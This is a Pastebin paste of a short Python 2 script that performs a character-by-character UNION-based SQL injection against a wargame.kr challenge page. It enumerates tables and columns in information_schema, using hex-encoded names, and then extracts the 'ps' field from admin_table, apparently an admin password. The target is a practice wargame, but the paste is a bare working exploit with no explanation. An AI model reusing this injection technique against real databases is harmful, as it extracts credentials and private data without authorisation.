Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import urllib2, urllib
- l = []
- for y in xrange(0, 100):
- for x in xrange(1,100):
- #d = "idx=0 union select ascii(substr((select table_name from information_schema.tables where table_schema != 0x696e666f726d6174696f6e5f736368656d61 limit "+str(y)+", 1),"+str(x)+",1))"
- #d = "idx=0 union select ascii(substr((select column_name from information_schema.columns where table_name = 0x61646d696e5f7461626c65 limit "+str(y)+", 1),"+str(x)+",1))"
- d = "idx=0 union select ascii(substr((select ps from admin_table limit "+str(y)+", 1),"+str(x)+",1))"
- r = urllib2.Request('http://wargame.kr:8080/prob/9/chk.php', d)
- c = urllib2.urlopen(r).read()
- if int(c[-8])*60+int(c[-6:-4]) != 0: l.append(chr(int(c[-8])*60+int(c[-6:-4])))
- else: break
- if(''.join(l) == ''):break
- else: print ''.join(l)
- l = []
Advertisement
Add Comment
Please, Sign In to add comment